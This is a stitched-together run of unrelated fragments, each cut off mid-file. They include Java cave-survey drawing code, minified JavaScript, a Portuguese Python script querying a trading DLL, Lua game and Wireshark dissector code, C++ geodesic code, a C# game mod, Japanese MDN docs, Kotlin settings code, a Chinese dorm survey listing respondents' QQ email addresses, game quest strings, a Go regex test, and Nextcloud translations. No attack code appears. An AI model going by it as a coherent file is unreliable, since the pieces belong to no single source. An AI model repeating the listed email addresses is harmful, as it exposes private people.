      // TDLog.v( "PLOT station name " + mName + " with matrix. xor color " + xor_color );
      if ( mName != null && mPaint != null ) {
        // Paint paint = DrawingPath.xorPaint( mPaint, xor_color );
        Paint paint = new Paint( mPaint );
        // if ( mHighlight ) TODO
        paint.setTextSize( PDF_SCALE * mPaint.getTextSize() );
        mTransformedPath = new Path( mPath );
        mTransformedPath.transform( matrix );
        canvas.drawTextOnPath( mName, mTransformedPath, 0f, 0f, paint );
      }
      if ( mXSectionType != PlotType.PLOT_NULL ) {
        Path path = new Path();
        path.moveTo( cx, cy );
        path.lineTo( cx+mDX*TDSetting.mArrowLength, cy+mDY*TDSetting.mArrowLength );
        path.transform( matrix );
        canvas.drawPath( path, DrawingPath.xorPaint( BrushManager.mSectionPaint, xor_color ) );
      }
    }
  }

  /** @return the coordinates (E,N,Z) as a string
   */
  String getCoordsString()
  {
    if ( mStation == null ) return null;
    // east north Z-vertical (upward)
    // return String.format(Locale.US, "E %.2f N %.2f Z %.2f", mStation.e, -mStation.s, -mStation.v );
    return String.format(Locale.US, TDInstance.getResourceString( R.string.station_coords ), mStation.e, -mStation.s, -mStation.v );
  }

  /** @return Therion representation
   */
  @Override
  public String toTherion( )
  {
    if ( mStation == null ) return null; // FIXME
    // TDLog.v("XVI " + mName + " " + cx + " " + cy );
    return String.format(Locale.US, "point %.2f %.2f station -name \"%s\"", cx*TDSetting.mToTherion, -cy*TDSetting.mToTherion, mName );
  }

  /** serialize
   * @param dos   output stream
   * @param scrap scrap index
   */
  @Override
  public void toDataStream( DataOutputStream dos, int scrap )
  {
    try {
      dos.write('X');
      dos.writeFloat( cx );
      dos.writeFloat( cy );
      dos.writeUTF( mName );
      // if ( version >= 401090 )
        dos.writeInt( mLevel );
      // if ( version >= 401160 )
        dos.writeInt( (scrap >= 0)? scrap : mScrap );
      dos.writeInt( (int)mXSectionType );
      if ( mXSectionType != PlotType.PLOT_NULL ) {
        dos.writeFloat( mAzimuth );
        dos.writeFloat( mClino );
      }
    } catch ( IOException e ) {
      TDLog.e( e.getMessage() );
    }
  }

  /** deserialize - used to make therion file from binary file
   * @param version   file version
   * @param dis       input stream
   * @return deserialized station-name
   */
  public static DrawingStationName loadDataStream( int version, DataInputStream dis )
  {
    float ccx, ccy;
    String name;
    int type;
    try {
      ccx = dis.readFloat();
      ccy


62:A.ls(a,k)
break
case 38:A.lr(a,k)
break
case 42:p=a.u
k.push(A.jq(p,A.aV(p,a.e,k.pop()),a.n))
break
case 63:p=a.u
k.push(A.ij(p,A.aV(p,a.e,k.pop()),a.n))
break
case 47:p=a.u
k.push(A.jo(p,A.aV(p,a.e,k.pop()),a.n))
break
case 40:k.push(-3)
k.push(a.p)
a.p=k.length
break
case 41:A.lp(a,k)
break
case 91:k.push(a.p)
a.p=k.length
break
case 93:o=k.splice(a.p)
A.jk(a.u,a.e,o)
a.p=k.pop()
k.push(o)
k.push(-1)
break
case 123:k.push(a.p)
a.p=k.length
break
case 125:o=k.splice(a.p)
A.lu(a.u,a.e,o)
a.p=k.pop()
k.push(o)
k.push(-2)
break
case 43:n=l.indexOf("(",r)
k.push(l.substring(r,n))
k.push(-4)
k.push(a.p)
a.p=k.length
r=n+1
break
default:throw"Bad character "+q}}}m=k.pop()
return A.aV(a.u,a.e,m)},
lq(a,b,c,d){var s,r,q=b-48
for(s=c.length;a<s;++a){r=c.charCodeAt(a)
if(!(r>=48&&r<=57))break
q=q*10+(r-48)}d.push(q)
return a},
ji(a,b,c,d,e){var s,r,q,p,o,n,m=b+1
for(s=c.length;m<s;++m){r=c.charCodeAt(m)
if(r===46){if(e)break
e=!0}else{if(!((((r|32)>>>0)-97&65535)<26||r===95||r===36||r===124))q=r>=48&&r<=57
else q=!0
if(!q)break}}p=c.substring(b,m)
if(e){s=a.u
o=a.e
if(o.w===10)o=o.x
n=A.lH(s,o.x)[p]
if(n==null)A.aY('No "'+p+'" in "'+A.lc(o)+'"')
d.push(A.d2(s,o,n))}else d.push(p)
return m},
ls(a,b){var s,r=a.u,q=A.jg(a,b),p=b.pop()
if(typeof p=="string")b.push(A.d0(r,p,q))
else{s=A.aV(r,a.e,p)
switch(s.w){case 12:b.push(A.ii(r,s,q,a.n))
break
default:b.push(A.ih(r,s,q))
break}}},
lp(a,b){var s,r,q,p=a.u,o=b.pop(),n=null,m=null
if(typeof o=="number")switch(o){case-1:n=b.pop()
break
case-2:m


"""
Teste interativo do GetPositionV2 baseado no exemplo fornecido
"""

import ctypes
from ctypes import byref, c_int, c_double, c_char_p, Structure
import os
import sys
from pathlib import Path

# Setup path
project_root = Path(__file__).parent
sys.path.insert(0, str(project_root))

# Importar estruturas
from src.connection_manager_working import (
    TConnectorAccountIdentifier,
    TConnectorAssetIdentifier,
    TConnectorTradingAccountPosition
)

def evalDllReturn(function_name, ret):
    """Avalia retorno da DLL"""
    if ret == 0:
        print(f"[OK] {function_name} sucesso!")
        return True
    else:
        error_msgs = {
            -2147483646: "DLL não inicializada",
            -2147483645: "DLL não conectada",
            -2147483644: "Parâmetro inválido",
            -2147483643: "Contrato não encontrado",
            -2147483642: "Erro de comunicação",
            -2147483641: "Timeout",
            -2147483640: "Erro genérico",
            -2147483639: "Função não implementada",
            -2147483638: "Sem permissão",
            -2147483637: "Limite excedido",
            -2147483636: "NL_NOT_FOUND - Conta/Ativo não encontrado"
        }
        error_msg = error_msgs.get(ret, f"Erro desconhecido: {ret}")
        print(f"[X] {function_name} falhou: {error_msg}")
        return False

def printPosition():
    """Teste interativo do GetPositionV2"""

    # Carregar DLL
    dll_path = Path("dll/ProfitDLL64.dll")
    if not dll_path.exists():
        dll_path = Path("ProfitDLL64.dll")

    if not dll_path.exists():
        print("❌ ProfitDLL64.dll não encontrada!")
        return

    print(f"📦 Carregando DLL de: {dll_path}")
    profit_dll = ctypes.WinDLL(str(dll_path))

    # Configurar GetPositionV2
    profit_dll.GetPositionV2.argtypes = [ctypes.POINTER(TConnectorTradingAccountPosition)]
    profit_dll.GetPositionV2.restype = ctypes.c_int

    print("\n=== TESTE INTERATIVO GetPositionV2 ===\n")

    # Solicitar dados
    print("Digite os dados da conta (pressione ENTER para usar padrão):\n")

    ticker = input('Asset [WDOV25]: ').strip() or "WDOV25"
    exchange = input('Bolsa [BOVESPA]: ').strip() or "BOVESPA"

    broker_input = input("Corretora ID [39 para XP]: ").strip()
    brokerId = int(broker_input) if broker_input else 39

    accountId = input("Conta [33005]: ").strip() or "33005"
    subAccountId = input("SubConta [vazio]: ").strip() or ""

    position_input = input("Tipo da Posição (1-DayTrade, 2-Consolidado) [1]: ").strip()
    positionType = int(position_input) if position_input else 1

    print(f"\n📋 Configuração:")
    print(f"  Ativo: {ticker}")
    print(f"  Bolsa: {exchange}")
    print(f"  Corretora: {brokerId}")
    print(f"  Conta: {accountId}")
    print(f"  SubConta: {subAccountId if subAccountId else '(vazia)'}")
    print(f"  Tipo: {'DayTrade' if positionType == 1 else 'Consolidado'}")

    # Criar estrutura
    position = TConnectorTradingAccountPosition()
    position.Version = 1
    position.PositionType = positionType

    # Configurar conta
    position.AccountID.Version = 0
    position.AccountID.BrokerID = brokerId
    position.AccountID.AccountID = accountId.encode('latin-1')
    position.AccountID.SubAccountID = subAccountId.encode('latin-1')

    # Configurar ativo
    position.AssetID.Version = 0
    position.AssetID.Ticker = ticker.encode('latin-1')
    position.AssetID.Exchange = exchange.encode('latin-1')
    position.AssetID.FeedType = 0

    print("\n🔄 Chamando GetPositionV2...")

    # Chamar função
    ret = profit_dll.GetPositionV2(byref(position))

    if not evalDllReturn("GetPositionV2", ret):
        print("\n💡 Sugestões:")
        print("  1. Verifique se a conta está correta")
        print("  2. Confirme o ID da corretora")
        print("  3. Verifique se o ativo está correto")
        print("  4. Tente com SubConta preenchida")
        return

    # Mostrar resultado
    print("\n📊 POSIÇÃO ENCONTRADA:")
    print(f"  NetPosition: {position.NetPosition}")
    print(f"  OpenAveragePrice: R$ {position.OpenAveragePrice:.2f}")
    print(f"  LastPrice: R$ {position.LastPrice:.2f}")
    print(f"  ProfitLoss: R$ {position.ProfitLoss:.2f}")
    print(f"  TotalProfitLoss: R$ {position.TotalProfitLoss:.2f}")
    print(f"  DailyBuyQuantity: {position.DailyBuyQuantity}")
    print(f"  DailySellQuantity: {position.DailySellQuantity}")
    print(f"  DailyTotalQuantity: {position.DailyTotalQuant


1%概率触发专属技能弹幕(依据技能等级)",
		addition = {
			"53.1%(+3.3%)"
		}
	},
	{
		desc = "每20秒，有56.4%概率触发专属技能弹幕(依据技能等级)",
		addition = {
			"56.4%(+3.6%)"
		}
	},
	{
		desc = "每20秒，有60.0%概率触发专属技能弹幕(依据技能等级)",
		addition = {
			"60.0%"
		}
	},
	desc_get = "每20秒，有30.0%(满级60.0%)概率触发专属技能弹幕(依据技能等级)",
	name = "崩姐",
	init_effect = "",
	id = 10130,
	time = 0,
	picture = "",
	desc = "每20秒，有$1概率触发专属技能弹幕(依据技能等级)",
	stack = 1,
	color = "red",
	icon = 10130,
	last_effect = "",
	effect_list = {
		{
			type = "BattleBuffAddBuff",
			trigger = {
				"onUpdate"
			},
			arg_list = {
				buff_id = 10133,
				time = 20,
				target = "TargetSelf"
			}
		}
	}
}


derived from this software without specific prior written permission.

    THIS SOFTWARE IS PROVIDED BY Philipp Krähenbühl ''AS IS'' AND ANY
    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    DISCLAIMED. IN NO EVENT SHALL Philipp Krähenbühl BE LIABLE FOR ANY
    DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
	 LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
	 ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
	 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
    SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "geodesics.h"
#include "segmentation/segmentation.h"

Node::Node( int to, float w ) : to( to ), w( w ) {
}
bool Node::operator<( const Node &o ) const {
	return w < o.w;
}
bool Node::operator>( const Node &o ) const {
	return w > o.w;
}
Node2::Node2( int to, int from, float w ) : to( to ), from( from ), w( w ) {
}
bool Node2::operator<( const Node2 &o ) const {
	return w < o.w;
}
bool Node2::operator>( const Node2 &o ) const {
	return w > o.w;
}
GeodesicDistance::GeodesicDistance( const OverSegmentation & os ) : GeodesicDistance( os.edges(), os.edgeWeights() ) {
}
GeodesicDistance::GeodesicDistance( const Edges &edges, const VectorXf &edge_weights ) : N_( getN( edges ) ) {
	adj_list_.resize( N_ );
	for( int i=0; i<edges.size(); i++ ) {
		adj_list_[ edges[i].a ].push_back( Node( edges[i].b, edge_weights[i] ) );
		adj_list_[ edges[i].b ].push_back( Node( edges[i].a, edge_weights[i] ) );
	}
	reset();
}
GeodesicDistance& GeodesicDistance::reset( float v ) {
	d_ = v * VectorXf::Ones( N_ );
	return *this;
}
GeodesicDistance& GeodesicDistance::update( int nd, float v ) {
	PQ q;
	q.push( Node( nd, v ) );
	updatePQ( d_, q );
	return *this;
}
GeodesicDistance& GeodesicDistance::update( const VectorXf &new_min ) {
	PQ q;
	for( int i=0; i<N_; i++ )
		if( new_min[i] < d_[i] )
			q.push( Node( i,new_min[i] ) );
	updatePQ( d_, q );
	return *this;
}
void GeodesicDistance::updatePQ( VectorXf & d, GeodesicDistance::PQ &q ) const {
	const float EPS = 1e-6;
	while( !q.empty() ) {
		Node n = q.top();
		q.pop();

		if( d[ n.to ] <= n.w )
			continue;

		d[ n.to ] = n.w;
		for ( const Node & i: adj_list_[ n.to ] ) {
			float w = n.w + i.w;
			if( w < d[i.to] ) {
				q.push( Node( i.to, w ) );
				d[ i.to ] = w*(1+EPS)+1e-20;
			}
		}
	}
}
int GeodesicDistance::N() const {
	return N_;
}
const VectorXf &GeodesicDistance::d() const {
	return d_;
}
VectorXf GeodesicDistance::compute(int nd) const {
	PQ q;
	q.push( Node( nd, 0 ) );
	VectorXf d = 1e10*VectorXf::Ones( N_ );
	updatePQ( d, q );
	return d;
}
VectorXf GeodesicDistance::


(ET)",
                                       base.DEC, nil, 0xc0)
local f_list_gp     = ProtoField.uint8("rohc_lua.pkt.list.gp", "gen_id present (GP)",
                                       base.DEC, nil, 0x20)
local f_list_ps     = ProtoField.uint8("rohc_lua.pkt.list.ps", "Size of XI fields",
                                       base.DEC, nil, 0x10)
local f_list_xi1    = ProtoField.uint8("rohc_lua.pkt.list.xi1", "XI 1",
                                       base.HEX, nil, 0x0f)
local f_list_gen_id = ProtoField.uint8("rohc_lua.pkt.list.gen_id", "gen_id", base.DEC)
local f_list_ref_id = ProtoField.uint8("rohc_lua.pkt.list.ref_id", "ref_id", base.DEC)
---- insertion/removal bitmasks
local f_list_bitmask_ins  = ProtoField.bytes("rohc_lua.pkt.list.bitmask.insertion",
                                             "Insertion bitmask")
local f_list_bitmask_rem  = ProtoField.bytes("rohc_lua.pkt.list.bitmask.removal",
                                             "Removal bitmask")
local f_list_bitmask_type = ProtoField.uint8("rohc_lua.pkt.list.bitmask.type",
                                             "Bitmask type", base.DEC, nil, 0x80)
local f_list_bitmask_7b   = ProtoField.uint8("rohc_lua.pkt.list.bitmask.mask.7b",
                                             "Bitmask (7 bits)", base.HEX, nil, 0x7f)
local f_list_bitmask_15b  = ProtoField.uint16("rohc_lua.pkt.list.bitmask.mask.15b",
                                              "Bitmask (15 bits)", base.HEX, nil, 0x7fff)
---- XI and item lists
local f_list_xi      = ProtoField.bytes("rohc_lua.pkt.list.xi", "XI fields")
local f_list_xi_4bo  = ProtoField.uint8("rohc_lua.pkt.list.xi_4b_odd", "XI (PS = 0)",
                                               base.HEX, nil, 0xf0)
local f_list_xi_4be  = ProtoField.uint8("rohc_lua.pkt.list.xi_4b_even", "XI (PS = 0)",
                                               base.HEX, nil, 0x0f)
local f_list_xi_4bp  = ProtoField.uint8("rohc_lua.pkt.list.xi_4b_padding", "XI padding",
                                               base.HEX, nil, 0x0f)
local f_list_xi_8b   = ProtoField.uint8("rohc_lua.pkt.list.xi0", "XI (PS = 1)", base.HEX)
local f_list_items   = ProtoField.bytes("rohc_lua.pkt.list.items", "List items")
local f_list_item    = ProtoField.bytes("rohc_lua.pkt.list.items.item", "List item")
---- list encoding type 0
local f_list_type_0_m      = ProtoField.uint8("rohc_lua.pkt.list.m", "Number of XI fields",
                                              base.DEC, nil, 0x0f)
---- list encoding type 2
local f_list_type_2_res    = ProtoField.uint8("rohc_lua


using Kingmaker.Blueprints;
using Kingmaker.Blueprints.Classes;
using Kingmaker.Blueprints.Classes.Selection;
using Kingmaker.UnitLogic.FactLogic;
using TabletopTweaks.Core.NewComponents.Prerequisites;
using TabletopTweaks.Core.Utilities;
using static TabletopTweaks.Base.Main;

namespace TabletopTweaks.Base.NewContent.AlternateCapstones {
    internal class Arcanist {
        public static BlueprintFeatureSelection ArcanistAlternateCapstone = null;
        public static void AddAlternateCapstones() {
            var ArcanistMagicalSupremacy = BlueprintTools.GetBlueprint<BlueprintFeature>("261270d064148224fb982590b7a65414");
            var ArcanistArcaneReservoirResource = BlueprintTools.GetBlueprintReference<BlueprintAbilityResourceReference>("cac948cbbe79b55459459dd6a8fe44ce");

            var DeepReservoir = Helpers.CreateBlueprint<BlueprintFeature>(TTTContext, "DeepReservoir", bp => {
                bp.SetName(TTTContext, "Deep Reservoir");
                bp.SetDescription(TTTContext, "At 20th level, the arcanist has enough power to blast things all day long.\n" +
                    "Her arcane reservoir increases by 10.");
                bp.IsClassFeature = true;
                bp.AddComponent<IncreaseResourceAmount>(c => {
                    c.m_Resource = ArcanistArcaneReservoirResource;
                    c.Value = 10;
                });
            });
            ArcanistAlternateCaps


ference/Global_Objects/Intl#ロケールの識別とネゴシエーション)を参照してください。
    - `numberingSystem`
      - : 数値の書式化に使用する記数法。たとえば `"arab"`, `"hans"`, `"mathsans"` などです。 For a list of supported numbering system types, see [`Intl.supportedValuesOf()`](/ja/docs/Web/JavaScript/Reference/Global_Objects/Intl/supportedValuesOf#supported_numbering_system_types). このオプションは、`nu` Unicode 拡張キーでも設定できます。両方が指定された場合、この `options` プロパティが優先されます。
    - `style`
      - : 書式化される経過時間のスタイル。この値は、他のすべての単位オプションの既定値として使用され、経過時間単位のリストを連結する場合の {{jsxref("Intl/ListFormat/ListFormat", "Intl.ListFormat()")}} の `style` オプションにも対応します。利用可能な値は次のとおりです。
        - `"long"`
          - : 例: 1 hour and 50 minutes
        - `"short"` (既定値)
          - : 例: 1 hr, 50 min
        - `"narrow"`
          - : 例: 1h 50m
        - `"digital"`
          - : 例: 1:50:00
    - `years`
      - : 書式化される年のスタイル。使用可能な値は `"long"`, `"short"`, `"narrow"`です。既定値は `options.style` ですが、 `"digital"` の場合は `"short"` です。
    - `yearsDisplay`
      - : 年を常に表示するか、 0 以外の場合にのみ表示するか。使用可能な値は `"always"` と `"auto"` です。既定値は、 `years` が指定されていない場合は`"auto"`、指定されている場合は `"always"` です。
    - `months`
      - : 書式化される月のスタイル。使用可能な値は `"long"`, `"short"`, `"narrow"`です。既定値は `options.style` ですが、 `"digital"` の場合は `"short"` です。
    - `monthsDisplay`
      - : 月を常に表示するか、 0 以外の場合にのみ表示するか。使用可能な値は `"always"` と `"auto"` です。既定値は、 `months` が指定されていない場合は`"auto"`、指定されている場合は `"always"` です。
    - `weeks`
      - : 書式化される週のスタイル。使用可能な値は `"long"`, `"short"`, `"narrow"`です。既定値は `options.style` ですが、 `"digital"` の場合は `"short"` です。
    - `weeksDisplay`
      - : 週を常に表示するか、 0 以外の場合にのみ表示するか。使用可能な値は `"always"` と `"auto"` です。既定値は、 `weeks` が指定されていない場合は`"auto"`、指定されている場合は `"always"` です。
    - `days`
      - : 書式化される日のスタイル。使用可能な値は `"long"`, `"short"`, `"narrow"`です。既定値は `options.style` ですが、 `"digital"` の場合は `"short"` です。
    - `daysDisplay`
      - : 日を常に表示するか、 0 以外の場合にのみ表示するか。使用可能な値は `"always"` と


Shape(shape: AlbumArtShape) {
        dataStore.edit { preferences ->
            preferences[albumArtShapeKey] = shape.name
        }
    }

    override fun getCardFitFlow(): Flow<CardFit> = dataStore.data
        .map { preferences ->
            val cardFit = preferences[cardFit] ?: CardFit.FIT.name
            CardFit.valueOf(cardFit)
        }
    override suspend fun updateCardFit(newCardFit: CardFit) {
        dataStore.edit { settings ->
            settings[cardFit] = newCardFit.name
        }
    }

    override fun getCardBackgroundFlow(): Flow<Int> = dataStore.data
        .map { preferences -> preferences[cardBackground] ?: Color.Black.toArgb() }
    override suspend fun updateCardBackground(newCardBackground: Int) {
        dataStore.edit { settings ->
            settings[cardBackground] = newCardBackground
        }
    }

    override fun getCardContentFlow(): Flow<Int> = dataStore.data
        .map { preferences -> preferences[cardContent] ?: Color.White.toArgb() }
    override suspend fun updateCardContent(newCardContent: Int) {
        dataStore.edit { settings ->
            settings[cardContent] = newCardContent
        }
    }

    override fun getCardThemeFlow(): Flow<CardTheme> = dataStore.data
        .map { preferences ->
            val theme = preferences[cardTheme] ?: CardTheme.SPOTIFY.name
            CardTheme.valueOf(theme)
        }
    override suspend fun updateCardTheme(newCardTheme: CardTheme) {
        dataStore.edit { settings ->
            settings[cardTheme] = newCardTheme.name
        }
    }

    override fun getCardColorFlow(): Flow<CardColors> = dataStore.data
        .map { preferences ->
            val cardColor = preferences[cardColor] ?: CardColors.MUTED.name
            CardColors.valueOf(cardColor)
        }
    override suspend fun updateCardColor(newCardColor: CardColors) {
        dataStore.edit { settings ->
            settings[cardColor] = newCardColor.name
        }
    }

    override fun getCardRoundnessFlow(): Flow<CornerRadius> = dataStore.data
        .map { preferences ->
            val cardRoundness = preferences[cardRoundness] ?: CornerRadius.ROUNDED.name
            CornerRadius.valueOf(cardRoundness)
        }
    override suspend fun updateCardRoundness(newCardRoundness: CornerRadius) {
        dataStore.edit { settings ->
            settings[cardRoundness] = newCardRoundness.name
        }
    }

    override fun getCardFontFlow(): Flow<Fonts> = dataStore.data.map { prefs ->
        val font = prefs[cardFont] ?: Fonts.FIGTREE.name
        Fonts.valueOf(font)
    }
    override suspend fun updateCardFont(newCardFont: Fonts) {
        dataStore.edit { prefs ->
            prefs[cardFont] = newCardFont.name
        }
    }

}package com.shub39.rush.core.domain.enums

import androidx.compose.material3.ExperimentalMaterial3ExpressiveApi
import androidx.compose.material3.MaterialShapes
import androidx.compose.material3.toShape
import androidx.compose.runtime.Composable
import androidx.compose.ui.graphics.Shape

enum class AlbumArtShape {
    CIRCLE,
    SUNNY,
    VERY_SUNNY,
    SQUARE,
    SLANTED,
    ARCH,
    PILL,
    PENTAGON,
    GEM,
    COOKIE_4,
    COOKIE_6,
    COOKIE_9,
    COOKIE_12,
    CLOVER_4,
    CLOVER_8,
    GHOSTISH,
    FLOWER,
    SOFT_BURST,
    PUFFY_DIAMOND,
    BUN,
    HEART;

    compan


乱语，欢迎记录对应的问卷 ID，前往页面对应的 GitHub 页面，通过 issue 或邮件等方式提交反馈！

> 数据来源：

点击展开

A18331: 1580552906@qq.com (2023 年 06 月)

A19914: 957246782@qq.com (2023 年 06 月)

A20267: 匿名 (2023 年 06 月)

A21151: 2762932151@qq.com (2023 年 11 月)

A24283: 匿名 (2024 年 06 月)

A25061: 匿名 (2024 年 06 月)

A25744: 匿名 (2024 年 07 月)

A26266: 匿名 (2024 年 08 月)

A27440: 匿名 (2025 年 01 月)

A28746: 匿名 (2025 年 06 月)

## Q: 宿舍是上床下桌吗？

- A18331: 对

- A19914: 是

- A20267: 是

- A21151: 全都是 新校区均为6人间 老校区女生都是六人间 男生有四人间有六人间.外国语学院音乐学院和生科已知是四人间

- A24283: 是 本科六人寝

- A25061: 是

- A25744: 是

- A26266: 新校区一期 是

- A27440: 是

- A28746: 是

## Q: 教室和宿舍有没有空调？

- A18331: 有

- A19914: 有，教室空调夏冬季固定时间开始供电，宿舍空调需自行单独充值供电

- A20267: 有，小教室两个，大教室四个

- A21151: 都有的

- A24283: 有 夏冬特定月份才能开 需要额外付费

- A25061: 有

- A25744: 有，宿舍很耗电

- A26266: 新校区 有

- A27440: 有

- A28746: 都有

## Q: 有独立卫浴吗？没有独立浴室的话，澡堂离宿舍多远？

- A18331: 大概1km.

- A19914: 无，新校区二期宿舍离澡堂不是很远

- A20267: 没有，澡堂距离200米

- A21151: 无，澡堂都不远，


班姆巴拉和肯維雷談談。"}},
[26303] = {"心靈之眼", nil, {"從麥佐斯身上取得心靈之眼。"}},
[26304] = {"在叢林的夜晚", nil, {"在北荊棘谷的祖瑪維撲滅8個祖瑪維火盆。"}},
[26305] = {"拯救耶尼庫", nil, {"將充盈的靈魂寶石帶給尼姆布亞。"}},
[26306] = {"開始奪回", nil, {"到辛薩羅殺死5個邪枝巫醫和5個邪枝獵頭者。"}},
[26307] = {"邪枝之死", nil, {"到辛薩羅殺死5個邪枝狂戰士和5個邪枝暗影施法者。"}},
[26308] = {"現在是我們的了", nil, {"到辛薩羅殺死5個邪枝飲血者和5個邪枝噬魂者。"}},
[26309] = {"黑暗之瓶", nil, {"到辛薩羅收集5瓶腐化之血。"}},
[26310] = {"蜘蜘蛛蛛", nil, {"到辛薩羅收集8隻粘絲小蜘蛛。"}},
[26311] = {"不熟悉的水域", nil, {"前往奧格瑪榮譽谷的雙足翼龍之尾酒館，找到希爾柴戈爾·焰牙，並取得一份暮光高地沿岸海圖。"}},
[26312] = {"防線崩潰", nil, {"幫助湯恩‧冬崖、風暴召喚者米爾拉、哈苟斯‧黯光擊敗敵人，讓他們獲得喘息的機會。"}},
[26313] = {"麻煩的根源", nil, {"收集6個憤石核心。"}},
[26314] = {"正面倒地", nil, {"使用源質握繩拉倒3名瑟拉贊恩之僕。"}},
[26315] = {"進行對峙", nil, {"宣讀陶土議會宣言給莊嚴的波登聽。"}},
[26316] = {"傑瑟普在拖啥?", nil, {"到霜鬃食人妖要塞的營地找傑瑟普·麥克利。"}},
[26317] = {"小鞭尾迅猛龍", nil, {"將小鞭尾迅猛龍帶回格羅姆高營地給先知摩克薩爾丁。"}},
[26318] = {"完成工作", nil, {"到霜鬃食人妖要塞的洞穴底部，殺掉大頭目布魯格爾，啟動引爆器，轟掉穴居怪的隧道。"}},
[26319] = {"發掘秘密", nil, {"和西部荒野的月溪鎮的『智


\\S+) (?P<user>\\S+) \\[(?P<timestamp>[\\w:/]+\\s[+\\-]\\d{4})\\] \"(?P<action>\\S+)\\s?(?P<path>\\S+)?\\s?(?P<protocol>\\S+)?\" (?P<status>\\d{3}|-) (?P<size>\\d+|-)\\s?\"?(?P<referer>[^\"]*)\"?\\s?\"?(?P<useragent>[^\"]*)?\"?$",
			},
			map[string]interface{}{},
			model.LabelSet{},
			regexLogFixture,
			map[string]interface{}{
				"ip":        "11.11.11.11",
				"identd":    "-",
				"user":      "frank",
				"timestamp": "25/Jan/2000:14:00:01 -0500",
				"action":    "GET",
				"path":      "/1986.js",
				"protocol":  "HTTP/1.1",
				"status":    "200",
				"size":      "932",
				"referer":   "-",
				"useragent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6",
			},
			model.LabelSet{},
		},
		"successfully match expression on entry with label extracted from named capture groups": {
			RegexConfig{
				Expression:       "^(?P<ip>\\S+) (?P<identd>\\S+) (?P<user>\\S+) \\[(?P<timestamp>[\\w:/]+\\s[+\\-]\\d{4})\\] \"(?P<action>\\S+)\\s?(?P<path>\\S+)?\\s?(?P<protocol>\\S+)?\" (?P<status>\\d{3}|-) (?P<size>\\d+|-)\\s?\"?(?P<referer>[^\"]*)\"?\\s?\"?(?P<useragent>[^\"]*)?\"?$",
				LabelsFromGroups: true,
			},
			map[string]interface{}{},
			model.LabelSet{},
			regexLogFixture,
			map[string]interface{}{
				"ip":        "11.11.11.11",
				"identd":    "-",
				"user":      "frank",
				"timestamp": "25/Jan/2000:14:00:01 -0500",
				"action":    "GET",
				"path":      "/1986.js",
				"protocol":  "HTTP/1.1",
				"status":    "200",
				"size":      "932",
				"referer":   "-",
				"useragent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6",
			},
			model.LabelSet{
				"ip":        "11.11.11.11",
				"identd":    "-",
				"user":      "frank",
				"timestamp": "25/Jan/2000:14:00:01 -0500",
				"action":    "GET",
				"path":      "/1986.js",
				"protocol":  "HTTP/1.1",
				"status":    "200",
				"size":      "932",
				"referer":   "-",
				"useragent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6",
			},
		},
		"successfully match expression on extracted[source]": {
			RegexConfig{
				Expression: "^HTTP\\/(?P<protocol_version>.*)$",
				Source:     &protocolStr,
			},
			map[string]interface{}{
				"protocol": "HTTP/1.1",
			},
			model.LabelSet{},
			regexLogFixture,
			map[string]interface{}{
				"protocol":         "HTTP/1.1",
				"protocol_version": "1.1",
			},
			model.LabelSet{},
		},
		"successfully match expression on extracted[source] with label extracted from named capture groups": {
			RegexConfig{
				Expression:       "^HTT


"]},Move:{msgid:"Move",msgstr:["Премести"]},"Move to {target}":{msgid:"Move to {target}",msgstr:["Премести у {target}"]},Name:{msgid:"Name",msgstr:["Име"]},New:{msgid:"New",msgstr:["Ново"]},"New folder":{msgid:"New folder",msgstr:["Нови фолдер"]},"New folder name":{msgid:"New folder name",msgstr:["Име новог фолдера"]},"No files in here":{msgid:"No files in here",msgstr:["Овде нема фајлова"]},"No files matching your filter were found.":{msgid:"No files matching your filter were found.",msgstr:["Није пронађен ниједан фајл који задовољава ваш филтер."]},"No matching files":{msgid:"No matching files",msgstr:["Нема таквих фајлова"]},Recent:{msgid:"Recent",msgstr:["Скорашње"]},"Select all entries":{msgid:"Select all entries",msgstr:["Изаберите све ставке"]},"Select entry":{msgid:"Select entry",msgstr:["Изаберите ставку"]},"Select the row for {nodename}":{msgid:"Select the row for {nodename}",msgstr:["Изаберите ред за {nodename}"]},Size:{msgid:"Size",msgstr:["Величина"]},Undo:{msgid:"Undo",msgstr:["Поништи"]},"Upload some content or sync with your devices!":{msgid:"Upload some content or sync with your devices!",msgstr:["Отпремите нешто или синхронизујте са својим уређајима!"]}}}}},{locale:"sr@latin",json:{charset:"utf-8",headers:{"Last-Translator":"Bogdan Vuković, 2024","Language-Team":"Serbian (Latin) (https://app.transifex.com/nextcloud/teams/64236/sr@latin/)","Content-Type":"text/plain; charset=UTF-8",Language:"sr@latin","Plural-Forms":"nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);"},translations:{"":{"":{msgid:"",comments:{translator:"\nTranslators:\nBogdan Vuković, 2024\n"},msgstr:["Last-Translator: Bogdan Vuković, 2024\nLanguage-Team: Serbian (Latin) (https://app.transifex.com/nextcloud/teams/64236/sr@latin/)\nContent-Type: text/plain; charset=UTF-8\nLanguage: sr@latin\nPlural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"]},'"{name}" is an invalid folder name.':{msgid:'"{name}" is an invalid folder name.',msgstr:["„{name}” je neispravan naziv foldera."]},'"{name}" is not an allowed folder name':{msgid:'"{name}" is not an allowed folder name',msgstr:["„{name}” je nedozvoljen 